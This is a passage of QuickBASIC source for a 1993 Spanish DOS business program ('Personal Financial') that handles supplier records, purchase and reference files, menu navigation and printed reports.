THEN LPRINT "³"; : LPRINT USING u2$; p3#; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³"; : LPRINT USING u2$; p2#; ELSE LPRINT "³ "; + LPRINT "³"; + LPRINT USING u3$; Balance#(a); + + a = a + 1 + WEND + + LPRINT "ßßß³ßßßßßß³ßßßßßßßßßßßßßßßßßßßßßß³ßßßßß³ßßßßß³ßßßßßßßßßß³ßßßßßßßßßß³ßßßßßßßßßßßß"; + LPRINT "ÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " Balance total:"; USING u9$; BalTotal#; + LPRINT "ÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT "ÜÜܳÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜܳÜÜÜÜܳÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜ" + LPRINT "Programa Realizado por J.D. para Guill‚n Dominguez s.l" + EXIT SUB + + +PausePage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + +ObtMes: + +SELECT CASE VAL(mes$) + CASE 1: Fecha$ = "Enero, " + an$ + CASE 2: Fecha$ = "Febr., " + an$ + CASE 3: Fecha$ = "Marzo, " + an$ + CASE 4: Fecha$ = "Abril, " + an$ + CASE 5: Fecha$ = "Mayo, " + an$ + CASE 6: Fecha$ = "Junio, " + an$ + CASE 7: Fecha$ = "Julio, " + an$ + CASE 8: Fecha$ = "Agost, " + an$ + CASE 9: Fecha$ = "Sept., " + an$ + CASE 10: Fecha$ = "Octu., " + an$ + CASE 11: Fecha$ = "Nov., " + an$ + CASE 12: Fecha$ = "Dicc., " + an$ +END SELECT +RETURN + + +END SUB + +SUB ImpRef (po%) + + + REDIM CurrFig#(5), CurrString$(1) + + file$ = "Ref#." + Cvit$(po%) + + OPEN file$ FOR RANDOM AS #1 LEN = 54 + + FIELD #1, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Al parecer esta empresa no tiene ref." + center 19, "Verifique estos datos. PAK" + SLEEP + EXIT SUB + END IF + MaxRecord = VAL(IoMaxRecord$) + box 17, 5, 21, 75 + center 18, "Imprimiendo Referencias" + center 19, "Por favor, espere ..." + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + + + LPRINT "Referencias de la Empresa: " + Trim$(account(po%).Title); + LPRINT " " + + LPRINT " Ref# ³ Concepto ³ Und/C ³ P.V.P. ³ P.C. "; + LPRINT "ÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ " + u1x$ = "ßßßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßß" + u2$ = "##,###,###" + u5$ = "###" + u6$ = "######" + + a = 1 + WHILE a <= MaxRecord + GET #1, a + 1 + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoCC$) + CurrFig#(4) = VAL(IoPvp$) + CurrFig#(5) = VAL(IoPc$) + + + ds = ds + 1 + IF ds = 50 THEN GOSUB finpage + + IF CurrFig#(2) <> 0 THEN LPRINT " "; : LPRINT USING u6$; CurrFig#(2); ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN LPRINT "³ " + CurrString$(1); ELSE LPRINT "³ "; + + IF CurrFig#(3) <> 0 THEN LPRINT " ³ "; : LPRINT USING u5$; CurrFig#(3); : LPRINT " "; ELSE LPRINT " ³ "; + + IF CurrFig#(4) <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; CurrFig#(4); : LPRINT " "; ELSE LPRINT "³ "; + + IF CurrFig#(5) <> 0 THEN LPRINT "³ "; : LPRINT USING u2$; CurrFig#(5) ELSE LPRINT "³ " + + + a = a + 1 + WEND + + EXIT SUB + +finpage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + + +END SUB + +'Initialize: +' Read colors in and set up assembly routines +SUB Initialize + + WIDTH , 25 + + VIEW PRINT + + FOR ColorSet = 1 TO 4 + FOR x = 1 TO 10 + READ colors(x, ColorSet) + NEXT x + NEXT ColorSet + + LoadState + + p = VARPTR(ScrollUpAsm(1)) + DEF SEG = VARSEG(ScrollUpAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + p = VARPTR(ScrollDownAsm(1)) + DEF SEG = VARSEG(ScrollDownAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + DEF SEG + +END SUB + +'LCenter: +' Center TEXT$ on the line printer +SUB LCenter (text$) + LPRINT TAB(41 - LEN(text$) / 2); text$ +END SUB + +'LoadState: +' Load color preferences and account info from Personal.cfg +SUB LoadState + + OPEN "Personal.cfg" FOR INPUT AS #1 + INPUT #1, ColorPref + + FOR a = 1 TO 10 + LINE INPUT #1, account(a).Title + NEXT a + + CLOSE + +END SUB + +'Menu: +' Handles Menu Selection for a single menu (either sub menu, or menu bar) +' currChoiceX : Number of current choice +' maxChoice : Number of choices in the list +' choice$() : Array with the text of the choices +' itemRow() : Array with the row of the choices +' itemCol() : Array with the col of the choices +' help$() : Array with the help text for each choice +' barMode : Boolean: TRUE = menu bar style, FALSE = drop down style +' +' Returns the number of the choice that was made by changing currChoiceX +' and returns the scan code of the key that was pressed to exit +' +FUNCTION Menu (CurrChoiceX, MaxChoice, choice$(), ItemRow(), ItemCol(), help$(), BarMode) + + currChoice = CurrChoiceX + + 'if in bar mode, color in menu bar, else color box/shadow + 'bar mode means you are currently in the menu bar, not a sub menu + IF BarMode THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 1 + PRINT SPACE$(80); + ELSE + IF boorra <> 0 THEN FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + box ItemRow(1) - 1, ItemCol(1) - 1, ItemRow(MaxChoice) + 1, ItemCol(1) + LEN(choice$(1)) + 1 + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR a = 1 TO MaxChoice + 1 + LOCATE ItemRow(1) + a - 1, ItemCol(1) + LEN(choice$(1)) + 2 + PRINT CHR$(178); CHR$(178); + NEXT a + LOCATE ItemRow(MaxChoice) + 2, ItemCol(MaxChoice) + 2 + PRINT STRING$(LEN(choice$(MaxChoice)) + 2, 178); + END IF + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR a = 1 TO MaxChoice + LOCATE ItemRow(a), ItemCol(a) + PRINT choice$(a); + NEXT a + + finished = false + + WHILE NOT finished + + GOSUB MenuShowCursor + GOSUB MenuGetKey + GOSUB MenuHideCursor + + SELECT CASE kbd$ + CASE CHR$(0) + "H": GOSUB MenuUp + CASE CHR$(0) + "P": GOSUB MenuDown + CASE CHR$(0) + "K": GOSUB MenuLeft + CASE CHR$(0) + "M": GOSUB MenuRight + CASE CHR$(13): GOSUB MenuEnter + CASE CHR$(27): GOSUB MenuEscape + CASE ELSE: BEEP + END SELECT + WEND + + Menu = currChoice + + EXIT FUNCTION + + +MenuEnter: + finished = true + RETURN + +MenuEscape: + currChoice = 0 + finished = true + RETURN + +MenuUp: + IF BarMode THEN + BEEP + ELSE + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + END IF + RETURN + +MenuLeft: + IF BarMode THEN + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + ELSE + currChoice = -2 + finished = true + END IF + RETURN + +MenuRight: + IF BarMode THEN + currChoice = (currChoice) MOD MaxChoice + 1 + ELSE + currChoice = -3 + finished = true + END IF + RETURN + +MenuDown: + IF BarMode THEN + finished = true + ELSE + currChoice = (currChoice) MOD MaxChoice + 1 + END IF + RETURN + +MenuShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT choice$(currChoice); + PrintHelpLine help$(currChoice) + RETURN + +MenuGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN + +MenuHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT choice$(currChoice); + RETURN + + +END FUNCTION + +'MenuSystem: +' Main routine that controls the program. Uses the MENU function +' to implement menu system and calls the appropriate function to handle +' the user's selection +SUB MenuSystem + boorra = 1 + + DIM choice$(20), menuRow(20), menuCol(20), help$(20) + LOCATE , , 0 + choice = 1 + finished = false + + WHILE NOT finished + + GOSUB MenuSystemMain + + Subchoice = -1 + WHILE Subchoice < 0 + SELECT CASE choice + CASE 1: GOSUB MenuSystemFile + CASE 2: GOSUB MenuSystemEdit + CASE 3: GOSUB MenuSystemAccount + CASE 4: GOSUB MenuSystemReport + CASE 5: GOSUB MenuSystemColors + CASE 6: GOSUB help + END SELECT + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + SELECT CASE Subchoice + CASE -2: choice = (choice + 3) MOD 5 + 1 + CASE -3: choice = (choice) MOD 6 + 1 + END SELECT + WEND + WEND + EXIT SUB + + +MenuSystemMain: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + box 9, 19, 14, 61 + center 11, "Use las teclas de direcci¢n para el men£" + center 12, "Presione Entrar para elegir elemento" + + choice$(1) = " Archivo " + choice$(2) = " Proveedores " + choice$(3) = " Transacciones " + choice$(4) = " Clientes " + choice$(5) = " Colores " + choice$(6) = " Ayuda " + + menuRow(1) = 1: menuCol(1) = 2 + menuRow(2) = 1: menuCol(2) = 12 + menuRow(3) = 1: menuCol(3) = 26 + menuRow(4) = 1: menuCol(4) = 42 + menuRow(5) = 1: menuCol(5) = 53 + menuRow(6) = 1: menuCol(6) = 72 + + help$(1) = "Salir del Administrador" + help$(2) = "Agregar/edit/supr Proveedores" + help$(3) = "Agregar/edit/supr Transacciones" + help$(4) = "Ver e imprimir clientes" + help$(5) = "Fijar color en pantalla" + help$(6) = " Ayuda " + + DO + NewChoice = Menu((choice), 6, choice$(), menuRow(), menuCol(), help$(), true) + LOOP WHILE NewChoice = 0 + choice = NewChoice + RETURN + +MenuSystemFile: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + choice$(1) = " Ficheros " + choice$(2) = " Status " + choice$(3) = " Salir " + + menuRow(1) = 3: menuCol(1) = 2 + menuRow(2) = 4: menuCol(2) = 2 + menuRow(3) = 5: menuCol(3) = 2 + + help$(1) = "Operaciones de Configuraci¢n" + help$(2) = "Status actual" + help$(3) = "Salir del Administrador" + + Subchoice = Menu(1, 3, choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE Subchoice + CASE 1 + + choice$(1) = " Eliminar Fich. " + choice$(2) = " Vendedores " + choice$(3) = " Caja (S/N) " + + menuRow(1) = 5: menuCol(1) = 6 + menuRow(2) = 6: menuCol(2) = 6 + menuRow(3) = 7: menuCol(3) = 6 + + help$(1) = "Eliminaci¢n de ficheros..." + help$(2) = "Agregar/Editar/Eliminar Vendedores" + help$(3) = "Configurar Caja registradora" + + Subchoice = Menu(1, 3, choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE Subchoice + CASE 1: Elif + CASE 2 + don = 2 + GOSUB empresa + Vende (Subchoice) + don = 0 + CASE 3 + ON ERROR GOTO ErrorCaj + + OPEN "Caja.cfg" FOR INPUT AS #1 + INPUT #1, act$ + CLOSE + + box 8, 13, 14, 69 + center 11, "¨Hay una caja registradora instalada" + center 12, "en el puerto RS232?" + LOCATE 13, 15: PRINT "Actual: ", act$ + center 14, " <ÄÙ Cambiar" + kbd$ = INKEY$ + WHILE kbd$ = "": kbd$ = INKEY$: WEND + IF kbd$ <> CHR$(13) THEN RETURN + LOCATE 13, 15: INPUT "Nuevo: ", act$ + IF UCASE$(RTRIM$(LTRIM$(act$))) <> "S" THEN act$ = "N" + + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, act$ + CLOSE + + + CASE ELSE + END SELECT + + + CASE 2: Staul + CASE 3: finished = true + CASE ELSE + END SELECT + RETURN + + + + +MenuSystemEdit: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + choice$(1) = " Altas " + choice$(2) = " Editar/Modificar " + choice$(3) = " Buscar " + choice$(4) = " Eliminar " + choice$(5) = " Imprimir (1, 2) " + + menuRow(1) = 3: menuCol(1) = 9 + menuRow(2) = 4: menuCol(2) = 9 + menuRow(3) = 5: menuCol(3) = 9 + menuRow(4) = 6: menuCol(4) = 9 + menuRow(5) = 7: menuCol(5) = 9 + + help$(1) = "Agregar Proveedores" + help$(2) = "Editar/Modificar Proveedores" + help$(3) = "Busqueda de Proveedores" + help$(4) = "Eliminar Proveedores" + help$(5) = "Imprimir lista individual o r pida" + + Subchoice = Menu(1, 5, choice$(), menuRow(), menuCol(), help$(), false) + SELECT CASE Subchoice + CASE 1 TO 5 + Proveedores (Subchoice) + END SELECT + + RETURN + + +MenuSystemAccount: + don = 0 + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + choice$(1) = " Compras " + choice$(2) = " Referencias " + choice$(3) = " Imprimir (1) " + choice$(4) = " Imprimir (2) " + + menuRow(1) = 3: menuCol(1) = 26 + menuRow(2) = 4: menuCol(2) = 26 + menuRow(3) = 5: menuCol(3) = 26 + menuRow(4) = 6: menuCol(4) = 26 + + help$(1) = "Agregar/Eliminar/Editar Compras" + help$(2) = "Agregar/Eliminar/Editar Referencias" + help$(3) = "Imprimir Compras del mes" + help$(4) = "Imprimir Referencias" + + + Subchoice = Menu(1, 4, choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE Subchoice + CASE 1: vaw = 1: GOTO empresa + CASE 2: vaw = 2: GOTO empresa + CASE 3: vaw = 3: GOTO empresa + CASE 4: vaw = 4: GOTO empresa + END SELECT +RETURN + +empresa: + boorra = 1 + FOR a = 1 TO 10 + IF Trim$(account(a).Title) = "" THEN + choice$(a) = RIGHT$(STR$(a), 2) + ". ------------------- " + ELSE + choice$(a) = RIGHT$(STR$(a), 2) + ". " + account(a).Title + END IF + menuRow(a) = a + 4 + menuCol(a) = 32 + help$(a) = RTRIM$(account(a).Title) + NEXT a + + Subchoice = Menu(1, 10, choice$(), menuRow(), menuCol(), help$(), false) + boorra = 0 + + IF Subchoice > 0 THEN + IF choice$(Subchoice) = RIGHT$(STR$(Subchoice), 2) + ". ------------------- " THEN + box 17, 5, 21, 75 + center 19, "Esa empresa no EXISTE, ¨Desea crearla?" + DO: + K$ = INKEY$ + LOOP WHILE K$ = "" + + IF K$ = "s" OR K$ = "S" THEN + box 17, 5, 21, 75 + center 18, "Introduzca el nombre de la Empresa" + emp$ = GetString$(19, 7, "", end$, 20, 20) + 'end$ contiene la informacion + account(Subchoice).Title = end$ + SaveState + + ELSE + box 17, 5, 21, 75 + center 19, "Escoja una empresa" + GOTO empresa + + END IF + END IF + + IF vaw = 2 THEN Referencias (Subchoice) + IF vaw = 1 THEN EditTrans (Subchoice) + IF vaw = 3 THEN ImpComp (Subchoice) + IF vaw = 4 THEN ImpRef (Subchoice) + + + END IF + IF don = 2 THEN RETURN + GOTO MenuSystemMain + + + +MenuSystemReport: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + choice$(1) = " Ticket " + choice$(2) = " Balance " + choice$(3) = " Stock actual " + + menuRow(1) = 3: menuCol(1) = 39 + menuRow(2) = 4: menuCol(2) = 39 + menuRow(3) = 5: menuCol(3) = 39 + + help$(1) = "Ticket, comenzar a fichar" + help$(2) = "Total Vendido, dia, mes" + help$(3) = "Ver o imprimir Stock actual" + + Subchoice = Menu(1, 3, choice$(), menuRow(), menuCol(), help$(), false) + don = 2 + SELECT CASE Subchoice + CASE 1 + GOSUB empresa + Ticket (Subchoice%) + CASE 2 + GOSUB empresa + Balan (Subchoice%) + CASE 3 + GOSUB empresa + Stock (Subchoice%) + CASE ELSE + END SELECT + RETURN + +MenuSystemColors: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + choice$(1) = " Monocrom tico " + choice$(2) = " Cyan/Azul " + choice$(3) = " Azul/Cyan " + choice$(4) = " Rojo/Gris " + + menuRow(1) = 3: menuCol(1) = 50 + menuRow(2) = 4: menuCol(2) = 50 + menuRow(3) = 5: menuCol(3) = 50 + menuRow(4) = 6: menuCol(4) = 50 + + help$(1) = "Color para presentaci¢n monocrom tico y LCD" + help$(2) = "Color presentado cyan" + help$(3) = "Color presentado azul" + help$(4) = "Color presentado rojo" + + Subchoice = Menu(1, 4, choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE Subchoice + CASE 1 TO 4 + ColorPref = Subchoice + SaveState + CASE ELSE + END SELECT + RETURN + +help: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + choice$(1) = " Uso de la ayuda " + choice$(2) = " Sobre los Men£s " + choice$(3) = " Grabaci¢n de Datos " + choice$(4) = " Acerca de... " + + menuRow(1) = 3: menuCol(1) = 57 + menuRow(2) = 4: menuCol(2) = 57 + menuRow(3) = 5: menuCol(3) = 57 + menuRow(4) = 6: menuCol(4) = 57 + + help$(1) = "Uso de la ayuda en Personal Financial" + help$(2) = "Ayuda en los men£s" + help$(3) = "Modo de grabar los Datos" + help$(4) = "Creditos del Personal Financial" + + Subchoice = Menu(1, 4, choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE Subchoice + CASE 1 + RETURN + CASE 2 + RETURN + CASE 3 + RETURN + CASE 4 + box 9, 10, 16, 70 + center 10, "P E R S O N A L F I N A N C I A L" + center 12, "by" + center 14, "Jos‚ David Guill‚n (c) 1993" + center 16, "Pulse una tecla" + SLEEP + CASE ELSE + END SELECT + RETURN + + + + +END SUB + +'PrintHelpLine: +' Prints help text on the bottom row in the proper color +SUB PrintHelpLine (help$) + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 25, 1 + PRINT SPACE$(80); + center 25, help$ +END SUB + +SUB Proveedores (lug%) +DIM Row(12), Col(12), vis(12), max(12), help$(12), CurrString$(12), she$(4) +Row(1) = 4: Col(1) = 11: vis(1) = 40: max(1) = 40 +Row(2) = 6: Col(2) = 14: vis(2) = 32: max(2) = 32 +Row(3) = 6: Col(3) = 62: vis(3) = 10: max(3) = 10 +Row(4) = 8: Col(4) = 14: vis(4) = 32: max(4) = 32 +Row(5) = 8: Col(5) = 59: vis(5) = 19: max(5) = 19 +Row(6) = 10: Col(6) = 14: vis(6) = 16: max(6) = 16 +Row(7) = 10: Col(7) = 58: vis(7) = 19: max(7) = 19 +Row(8) = 15: Col(8) = 21: vis(8) = 50: max(8) = 50 +Row(9) = 17: Col(9) = 13: vis(9) = 58: max(9) = 58 +Row(10) = 19: Col(10) = 21: vis(10) = 50: max(10) = 50 +Row(11) = 21: Col(11) = 14: vis(11) = 32: max(11) = 32 +Row(12) = 21: Col(12) = 59: vis(12) = 16: max(12) = 16 +help$(1) = "Nombre de la entidad Proveedora " +help$(2) = "Direcci¢n " +help$(3) = "Codigo Postal " +help$(4) = "Localidad " +help$(5) = "Provincia " +help$(6) = "Tel‚fono " +help$(7) = "C.I.F. " +help$(8) = "Entidad Bancaria " +help$(9) = "Material que Provee " +help$(10) = "Jefe de Ventas " +help$(11) = "Direcci¢n del Jefe V. " +help$(12) = "Tel‚fono del Jefe de V. " + +ON lug GOTO ip, mp, sp, bp, impr + +ip: +COLOR colors(7, ColorPref), colors(4, ColorPref): PRINT "SD" +entrada = 0: jk = 0 +nom$ = "": ape$ = "": Cal$ = "": num$ = "": Pis$ = "": lettt$ = "": tel$ = "" +GOSUB menu2 + +OPEN "proo1.dat" FOR RANDOM AS #1 LEN = 56 + FOR x = 1 TO LOF(1) / 56 + jk = jk + 1 + FIELD #1, 40 AS nom$, 16 AS tel$ + GET #1, x + IF RTRIM$(LTRIM$(nom$)) = "" THEN entrada = jk: GOTO ent + NEXT x + +entrada = jk + 1 + +ent: +CLOSE #1 + +IF entrada = 0 THEN entrada = 1 +LOCATE 2, 47: PRINT entrada +pieza = 0 + +empi: + +IF pieza = 3 THEN PrintHelpLine help$(1) + " | " +IF pieza = 0 THEN PrintHelpLine help$(1) + "| " + +a = 1 + DO + GOSUB showline + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB showline: ed = 0 + + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + kbd$ = GetString$(Row(a), Col(a), kbd$, new$, vis(a), max(a)) + CurrString$(a) = new$ + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + IF pieza = 3 AND a = 1 THEN a = 4 ELSE IF pieza = 3 THEN a = a - 1 + IF pieza = 0 AND a = 1 THEN a = 12 ELSE IF pieza = 0 THEN a = a - 1 + + +IF pieza = 3 THEN PrintHelpLine help$(a) + " | " +IF pieza = 0 THEN PrintHelpLine help$(a) + "| " + + + + + CASE CHR$(0) + "P" 'Down arrow + IF pieza = 3 AND a = 4 THEN a = 1 ELSE IF pieza = 3 THEN a = a + 1 + IF pieza = 0 AND a = 12 THEN a = 1 ELSE IF pieza = 0 THEN a = a + 1 + +IF pieza = 3 THEN PrintHelpLine help$(a) + " | " +IF pieza = 0 THEN PrintHelpLine help$(a) + "| " + + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + IF pieza = 3 AND a = 1 THEN a = 4 ELSE IF pieza = 3 THEN a = a - 1 + IF pieza = 0 AND a = 1 THEN a = 12 ELSE IF pieza = 0 THEN a = a - 1 + +IF pieza = 3 THEN PrintHelpLine help$(a) + " | " +IF pieza = 0 THEN PrintHelpLine help$(a) + "| " + + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + IF pieza = 3 AND a = 4 THEN a = 1 ELSE IF pieza = 3 THEN a = a + 1 + IF pieza = 0 AND a = 12 THEN a = 1 ELSE IF pieza = 0 THEN a = a + 1 + + +IF pieza = 3 THEN PrintHelpLine help$(a) + " | " +IF pieza = 0 THEN PrintHelpLine help$(a) + "| " + + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "D" 'F10 + CLOSE : EXIT SUB + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished +IF pieza = 3 THEN RETURN + + +cont: + +OPEN "proo1.dat" FOR RANDOM AS #1 LEN = 56 +OPEN "proo2.dat" FOR RANDOM AS #2 LEN = 112 +OPEN "proo3.dat" FOR RANDOM AS #3 LEN = 206 + + FIELD #1, 40 AS nom2$, 16 AS Tel2$ + FIELD #2, 32 AS cal2$, 10 AS num2$, 32 AS Pis2$, 19 AS LET2$, 19 AS loc2$ + FIELD #3, 50 AS Cpu2$, 58 AS Ram2$, 50 AS TG2$, 32 AS Hd2$, 16 AS tel3$ + + LSET nom2$ = CurrString$(1): LSET Tel2$ = CurrString$(6) + LSET cal2$ = CurrString$(2): LSET num2$ = CurrString$(3): LSET Pis2$ = CurrString$(4): LSET LET2$ = CurrString$(5): LSET loc2$ = CurrString$(7) + LSET Cpu2$ = CurrString$(8): LSET Ram2$ = CurrString$(9): LSET TG2$ = CurrString$(10): LSET Hd2$ = CurrString$(11): LSET tel3$ = CurrString$(12) + + IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada + IF valor = 3 THEN PUT #2, lf ELSE PUT #2, entrada + IF valor = 3 THEN PUT #3, lf ELSE PUT #3, entrada + +CLOSE #1, #2, #3 + +IF valor = 3 THEN RETURN +IF pieza = 3 THEN RETURN +LOCATE 13, 2: PRINT "¨Seguir introduciendo?" + + +we: +i$ = INKEY$ +IF i$ = "" THEN GOTO we +IF i$ = "S" OR i$ = "s" THEN GOTO ip ELSE CLOSE : EXIT SUB + + + +ep: +GOSUB menu2 +center 23, "Utilice + y - para ver las Fichas" +K = 0 + +mirp: +lf = 0 +CLOSE #1, #2, #3 +OPEN "proo1.dat" FOR RANDOM AS #1 LEN = 56 +OPEN "proo2.dat" FOR RANDOM AS #2 LEN = 112 +OPEN "proo3.dat" FOR RANDOM AS #3 LEN = 206 + +lf = 0 +vez = 1 + +DO + +pro: + + IF lf = 0 THEN lf = 1 + + + FIELD #1, 40 AS nom$, 16 AS tel$ + FIELD #2, 32 AS Cal$, 10 AS num$, 32 AS Pis$, 19 AS lettt$, 19 AS locc$ + FIELD #3, 50 AS cpu$, 58 AS ram$, 50 AS tg$, 32 AS hd$, 16 AS tel4$ + + GET #1, lf + GET #2, lf + GET #3, lf + + +g = 0 +IF K = 1 AND UCASE$(RTRIM$(LTRIM$(she$(1)))) <> UCASE$(MID$(nom$, 1, LEN(RTRIM$(LTRIM$(she$(1)))))) THEN GOSUB pw +IF K = 2 AND UCASE$(RTRIM$(LTRIM$(she$(2)))) <> UCASE$(MID$(Cal$, 1, LEN(RTRIM$(LTRIM$(she$(2)))))) THEN GOSUB pw +IF K = 3 AND UCASE$(RTRIM$(LTRIM$(she$(3)))) <> UCASE$(MID$(num$, 1, LEN(RTRIM$(LTRIM$(she$(3)))))) THEN GOSUB pw +IF K = 4 AND UCASE$(RTRIM$(LTRIM$(she$(4)))) <> UCASE$(MID$(tg$, 1, LEN(RTRIM$(LTRIM$(she$(4)))))) THEN GOSUB pw +IF g = 1 THEN GOTO pro + +IF RTRIM$(LTRIM$(nom$)) = "" AND r = 0 THEN lf = lf + 1: GOTO pro +IF RTRIM$(LTRIM$(nom$)) = "" AND r = 1 THEN lf = lf - 1: GOTO pro + + +vez = 0 +COLOR colors(3, ColorPref), colors(9, ColorPref) +LOCATE 4, 11: PRINT nom$ +LOCATE 6, 14: PRINT Cal$ +LOCATE 6, 62: PRINT num$ +LOCATE 8, 14: PRINT Pis$ +LOCATE 8, 59: PRINT lettt$ +LOCATE 10, 14: PRINT tel$ +LOCATE 10, 58: PRINT locc$ +LOCATE 15, 21: PRINT cpu$ +LOCATE 17, 13: PRINT ram$ +LOCATE 19, 21: PRINT tg$ +LOCATE 21, 14: PRINT hd$ +LOCATE 21, 59: PRINT tel4$ +COLOR colors(7, ColorPref), colors(4, ColorPref) +nom$ = nom$: Cal$ = Cal$: num$ = num$: Pis$ = Pis$: lettt$ = lettt$: locc$ = locc$ +tel$ = tel$: cpu$ = cpu$: ram$ = ram$: tg$ = tg$: hd$ = hd$: tel4$ = tel4$ +CurrString$(1) = nom$ +CurrString$(2) = Cal$ +CurrString$(3) = num$ +CurrString$(4) = Pis$ +CurrString$(5) = lettt$ +CurrString$(6) = tel$ +CurrString$(7) = locc$ +CurrString$(8) = cpu$ +CurrString$(9) = ram$ +CurrString$(10) = tg$ +CurrString$(11) = hd$ +CurrString$(12) = tel$ +tipo = 0 + + +T: + w$ = INKEY$: IF w$ = "" THEN GOTO T + IF w$ = "+" THEN lf = lf + 1: r = 0 + IF w$ = "-" THEN lf = lf - 1: r = 1 + IF w$ = CHR$(27) THEN CLOSE : EXIT SUB + IF w$ = CHR$(13) AND valor = 3 THEN CLOSE #1, #2, #3: RETURN + IF w$ = CHR$(13) AND valor = 2 THEN CLOSE #1, #2, #3: RETURN + + IF lf > LOF(1) / 56 THEN lf = lf - 1: GOTO T + IF lf = 0 OR lf = -1 THEN lf = 1: GOTO T + IF tipo = 1 THEN GOTO pro + +LOOP + +CLOSE #1, #2, #3 + +END + +pw: +IF vez = 1 AND r = 0 THEN lf = lf + 1: g = 1 +IF vez = 1 AND r = 1 THEN lf = lf - 1: g = 1 +IF g = 0 AND r = 0 THEN lf = lf + 1 +IF g = 0 AND r = 1 THEN lf = lf - 1 + + + IF lf > LOF(1) / 56 AND vez = 1 THEN GOTO filenotfound + IF lf > LOF(1) / 56 THEN lf = lf - 1: GOTO T + IF lf = 0 OR lf = -1 THEN lf = 1: GOTO T +tipo = 1 +g = 1 + +RETURN +END + +mp: 